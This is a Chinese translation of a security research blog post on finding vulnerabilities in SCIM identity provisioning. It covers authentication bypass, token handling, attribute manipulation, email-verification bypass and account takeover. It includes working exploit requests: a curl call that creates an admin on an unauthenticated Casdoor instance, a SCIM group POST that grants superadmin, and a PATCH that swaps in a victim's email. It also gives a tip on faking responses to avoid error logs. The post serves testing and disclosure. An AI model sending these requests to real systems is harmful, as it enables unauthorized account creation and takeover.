SCIM安全审计:超越SSO的身份管理漏洞挖掘

本文深入探讨SCIM(跨域身份管理系统)协议的安全风险,涵盖身份验证绕过、令牌管理缺陷、用户重配置漏洞及内部属性操纵等关键攻击向量,并提供实际案例与测试方法。

SCIM Hunting - Beyond SSO

2025年5月8日 - 作者:Francesco Lacerenza

引言

近年来,单点登录(SSO)相关漏洞获得了极大关注,并出现了大量精彩的公开披露。仅举几例:

  • 常见OAuth漏洞
  • 通过解析器差异绕过SAML SSO身份验证的"以任意用户登录"
  • 利用OAuth登录流程中的"脏舞"进行账户劫持

等等——其中蕴藏着大量宝藏。 毫不意外,使用自定义实现的系统受影响最严重,因为将SSO与平台的用户对象模型集成并非易事。 然而,虽然SSO常常占据中心舞台,但另一个标准却经常未被充分测试——SCIM(跨域身份管理系统)。在本博客中,我们将深入探讨其核心方面以及测试客户实现时经常发现的不安全设计问题。

目录

  • SCIM 101
    • 核心组件
    • 实现情况如何?
    • 注意影响
  • 漏洞挖掘
    • 身份验证绕过
    • SCIM令牌管理
    • 不必要的用户重配置回退
    • 内部属性操纵
    • 验证绕过
    • 账户接管
  • 额外关注领域
    • 通过SCIM操作语法绕过检查
    • 批量操作顺序评估
    • JSON互操作性
  • 结论

SCIM 101

SCIM是一个旨在自动化系统间用户账户配置和取消配置的标准,确保连接部分之间的访问一致性。 该标准在以下RFC中定义:RFC7642、RFC7644、RFC7643。 虽然它并非专门设计为IdP到SP的协议,而是云环境中通用的用户池同步协议,但实际场景大多将其嵌入IdP-SP关系中。

核心组件

长话短说,该标准定义了一组由服务提供商(SP)公开的RESTful API,其他参与者(主要是身份提供商)应可调用这些API来更新用户池。

它提供具有以下操作集的REST API来编辑托管对象(参见scim.cloud):

因此,我们可以将SCIM总结为一组可用于对表示用户身份的一组JSON编码对象执行CRUD操作的API。

核心功能

如果您想查看SCIM实现中的漏洞,以下是审计期间需要审查的核心功能列表:

  • 服务器配置和认证/授权中间件 - SCIM未定义其认证/授权方法,因此它始终是自定义的
  • SCIM对象到内部对象的映射功能 - 后端如何将SCIM对象转换/链接到内部用户和组对象。大多数情况下,它们更复杂,具有大量约束和安全检查。一些示例:不应由用户控制的内部属性、不允许在SCIM中使用的平台特定属性等。
  • 操作执行逻辑 - 身份相关对象中的更改通常触发应用程序流。一些示例包括:电子邮件更新应触发确认流/将用户标记为未确认,用户名更新应触发所有权/待处理邀请/重新认证检查等。

注意影响

作为直接的IdP到SP通信,大多数 resulting 问题将需要一定级别的访问权限,无论是在IdP还是SP中。因此,攻击的复杂性可能会降低您的大多数发现。 相反,在多租户平台中,影响可能会飙升,其中SCIM用户可能缺乏常见的租户隔离逻辑。

漏洞挖掘

以下是在审计SCIM实现时应寻找的一些多汁漏洞示例。

身份验证绕过

几个月前,我们发布了关于Casdoor IdP实例中未经身份验证的SCIM操作的安全公告。它是一个支持各种身份验证标准(如OAuth、SAML、OIDC等)的开源身份解决方案。当然,SCIM也被包括在内,但作为一项服务,意味着Casdoor(IdP)也将允许外部参与者操作其用户池。 Casdoor使用了elimity-com/scim库,该库默认情况下不包含其配置中的身份验证,根据标准。因此,使用此库定义和公开的SCIM服务器保持未经身份验证。

1
2
3
4
server := scim.Server{
 Config: config,
 ResourceTypes: resourceTypes,
 } 

利用实例需要与配置域匹配的电子邮件。可使用SCIM POST操作创建匹配内部电子邮件域和数据的新用户。

1
2
3
4
5
6
7
8
9
➜ curl --path-as-is -i -s -k -X $'POST' \
 -H $'Content-Type: application/scim+json'-H $'Content-Length: 377' \
 --data-binary $’{\"active\":true,\"displayName\":\"Admin\",\"emails\":[{\"value\":
\"admin2@victim.com\"}],\"password\":\"12345678\",\"nickName\":\"Attacker\",
\"schemas\":[\"urn:ietf:params:scim:schemas:core:2.0:User\",
\"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\"],
\"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\":{\"organization\":
\"built-in\"},\"userName\":\"admin2\",\"userType\":\"normal-user\"}' \
 $'https://<CASDOOR_INSTANCE>/scim/Users' 

然后,使用新的管理员用户admin2:12345678认证到IdP仪表板。 注意:维护者发布了一个新版本(v1.812.0),其中包括修复。 虽然这是一个非常简单但关键的问题,但可以在经过身份验证的实现中找到绕过。在其他情况下,服务可能仅在内部可用且未受保护。

SCIM令牌管理

[*] IdP端问题 由于SCIM秘密允许对服务提供商执行危险操作,因此应保护它们免受设置后发生的提取。在配置的应用程序上测试或编辑IdP SCIM集成应需要输入新的SCIM令牌,如果连接器URL与先前设置的URL不同。 一个著名的IdP被发现向/v1/api/scim/Users?startIndex=1&count=1发出SCIM集成测试请求,使用旧秘密,同时接受新的baseURL。 +1 额外 - 覆盖痕迹:通过使用预期数据模拟响应JSON来避免记录错误,以进行成功的SCIM集成测试。 用户查询的模拟响应JSON示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
    "Resources": [
        {
            "externalId": "<EXTID>",
            "id": "francesco+scim@doyensec.com",
            "meta": {
                "created": "2024-05-29T22:15:41.649622965Z",
                "location": "/Users/francesco+scim@doyensec.com",
                "version": "<VERSION"
            },
            "schemas": [
                "urn:ietf:params:scim:schemas:core:2.0:User"
            ],
            "userName": "francesco+scim@doyensec.com"
        }
    ],
    "itemsPerPage": 2,
    "schemas": [
        "urn:ietf:params:scim:api:messages:2.0:ListResponse"
    ],
    "startIndex": 1,
    "totalResults": 8
}

[*] SP端问题 SCIM令牌的创建和读取应仅允许高特权用户。针对用于管理它的SP端点,并寻找授权问题,或使用漂亮的XSS或其他漏洞来升级平台中的访问级别。

不必要的用户重配置回退

由于~实时用户访问管理是SCIM的核心,因此也值得寻找导致取消配置的用户重新获得对SP访问权限的回退。 例如,让我们看下面的update_scimUser函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def can_be_reprovisioned?(usrObj)
		return true if usrObj.respond_to?(:active) && !usrObj.active?
		false

def update_scimUser(usrObj)
        # [...]
        if parser.deprovision_user?
          # [...]
        #  (o)__(o)'
        elsif can_be_reprovisioned?(usrObj) 
          reprovision(usrObj)
        else
          true
        end
      end

由于respond_to?(:active)对于SCIM身份始终为true。如果用户不活动,条件!identity.active?将始终为true并导致重新配置。 因此,任何SCIM更新请求(例如,更改姓氏)将回退到重新配置,如果用户因任何原因(例如,逻辑禁止、强制移除)不活动。

内部属性操纵

在将身份同步外包给SCIM时,选择将从SCIM对象复制到新内部对象的内容变得至关重要,因为错误可能源于"过度"的属性允许。

[*] 示例1 - 内部角色权限提升 一个客户端支持通过SCIM端点配置和更新Okta组和用户。 它将Okta组转换为内部角色,并使用自定义标签来引用"Okta资源"。特别是,函数resource_to_access_map从提供的SCIM组资源构建了一个未经验证的访问映射。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[...]
    group_data, decode_error := decode_group_resource(resource.Attributes.AsMap())

    var role_list []string
    //  (o)__(o)'
    if resource.Id != "" {
        role_list = []string{resource.Id}
    }
    //...
    return access_map, nil, nil

实现问题在于,role_list中的角色名称是在从第三方源传递的Id属性(urn:ietf:params:scim:schemas:core:2.0:Group)上构建的。 后来,另一个函数upsert了从SCIM事件构建的Role对象,没有进一步检查。因此,可以通过在SCIM组ID中匹配其名称来覆盖平台中的任何现有资源。 例如,如果SCIM组资源ID设置为内部角色名称,会发生有趣的事情。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /api/scim/Groups HTTP/1.1
Host: <PLATFORM>
Content-Type: application/json; charset=utf-8
Authorization: Bearer 650…[REDACTED]…
…[REDACTED]…
Content-Length: 283
{
    "schemas": [“urn:ietf:params:scim:schemas:core:2.0:Group"],
    "id":"superadmin",
    "displayName": "TEST_NAME",
    "members": [{
        "value": "francesco@doyensec.com",
        "display": "francesco@doyensec.com"
    }]
}

平台创建了一个名为TEST_NAME的访问映射,向成员授予superadmin角色。

[*] 示例2 - SCIM到用户映射中的批量分配 其他内部属性操纵可能取决于对象映射策略。 一个多汁的示例可能如下所示。

1
2
3
4
5
SSO_user.update!(
        external_id: scim_data["externalId"],
        #         (o)__(o)' 
        userData: Oj.load(scim_req_body),
      )

即使Oj默认值被覆盖(抱歉,没有反序列化),仍然可以将任何数据放入SCIM请求并通过userData访问。逻辑假设它只包含SCIM属性。

验证绕过

此类别包含所有由于所需的内部用户管理流程未应用于由SCIM事件引起的更新(例如,电子邮件/电话/userName验证)而出现的漏洞。 一个有趣的相关发现是Gitlab绕过电子邮件验证(CVE-2019-5473)。我们在评估中也发现了涉及绕过代码验证流程的类似案例。

[*] 示例 - 相同但带有代码绕过 SCIM电子邮件更改未触发其他电子邮件更改操作所需的典型确认流。 攻击者可以请求验证代码到他们的电子邮件,使用SCIM将电子邮件更改为受害者电子邮件,然后兑换代码,从而验证新的电子邮件地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
PATCH /scim/v2/<ATTACKER_SAML_ORG_ID>/<ATTACKER_USER_SCIM_ID> HTTP/2
Host: <CLIENT_PLATFORM>
Authorization: Bearer <SCIM_TOKEN>
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 205

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "userName": "<VICTIM_ADDRESS>"
    }
    }
  ]
}

账户接管

在多租户平台中,SSO-SCIM身份应链接到底层用户对象。虽然它不是RFC的一部分,但需要管理用户属性(如userName和电子邮件)以最终触发平台的验证和所有权检查流程。 一个公共示例案例,在更新底层用户时事情不顺利,是CVE-2022-1680 - 通过SCIM电子邮件更改的Gitlab账户接管。以下是在我们一个客户端中发现的非常相似的实例。

[*] 示例 - 相同但不同 一个客户端允许SCIM操作更改用户的电子邮件并执行账户接管。 函数set_username在每次创建或更新SCIM用户时被调用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
        #[...]
        underlying_user = sso_user.underlying_user
        sso_user.scim["userName"] = new_name
        sso_user.username = new_name
        tenant = Tenant.find(sso_user.id)
        underlying_user&.change_email!(
          new_name,
          validate_email: tenant.isAuthzed?(new_name)
        )

        def underlying_user
            return nil if !tenant.isAuthzed?(self.username)
            # [...]
            #                                   (o)__(o)' 
            @underlying_user = User.find_by(email: self.username)
        end

如果组织无权根据isAuthzed管理用户,则underlying_user应为nil,从而阻止更改。在我们特定情况下,授权功能未保护处于特定状态的用户免受接管。SCIM可用于强制更改受害者用户的电子邮件,并在其添加到租户后接管账户。如果与经典的"强制租户加入"问题结合,可以形成一个漂亮的链。 此外,由于平台未保护免受多SSO上下文切换,一旦使用新电子邮件认证,攻击者可以访问用户所属的所有其他租户。

额外关注领域

有趣的SCIM操作语法

根据rfc7644,Path属性定义为:

“path"属性值是一个包含描述操作目标的属性路径的字符串。“path"属性对于"add"和"replace"是可选的,对于"remove"操作是必需的。

由于path属性是可选的,当它是执行逻辑的一部分时,应仔细管理nil可能性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def exec_scim_ops(scim_identity, operation)
        path = operation["path"]
        value = operation["value"]

        case path
        when "members"
          # [...]
        when "externalId"
          # [...]
        else
          # 半捕获所有逻辑!
        end
      end

放置一个捕获所有默认值可以允许另一种PatchOp消息语法仍然命中受限情况之一,同时跳过检查。以下是一个SCIM请求正文示例,它将跳过externalId检查并在上述上下文中编辑它。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "externalId": "<ID_INJECTION>"
        }
    }
  ]
}

操作的值允许包含<属性:值>的字典。

批量操作顺序评估

由于可能支持批量操作(目前非常少的情况),这些实现中可能出现特定问题:

  • 竞争条件 - 排序逻辑可能不包括对每个步骤中触发的额外过程的推理
  • 缺少循环引用保护 - RFC7644明确讨论了循环引用处理(参见下面的示例)。

JSON互操作性

由于SCIM采用JSON进行数据表示,JSON互操作性攻击可能导致挖掘列表中描述的大多数问题。一个著名的起点是文章:JSON互操作性漏洞探索。 一旦发现SCIM实现中使用的解析库,检查其他内部逻辑是否依赖于存储的JSON序列化,同时使用不同的解析器进行比较或解组。 尽管是一种相对简单的格式,JSON解析器差异可能导致有趣的案例——例如下面的案例:

结论

作为SSO的扩展,SCIM有潜力在特定情况下启用关键利用。如果您正在测试SSO,SCIM也应在范围内! 最后,SCIM实现中最有趣的漏洞需要深入理解应用程序的授权和认证机制。真正的价值在于识别SCIM对象和映射的内部用户对象之间的差异,因为这些差异通常导致有影响的发现。

其他相关帖子:

  • !exploitable第三集 - Devfile冒险(2025年3月18日)
  • 常见OAuth漏洞(2025年1月30日)
  • 单点登录还是单点故障?(2024年6月20日)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计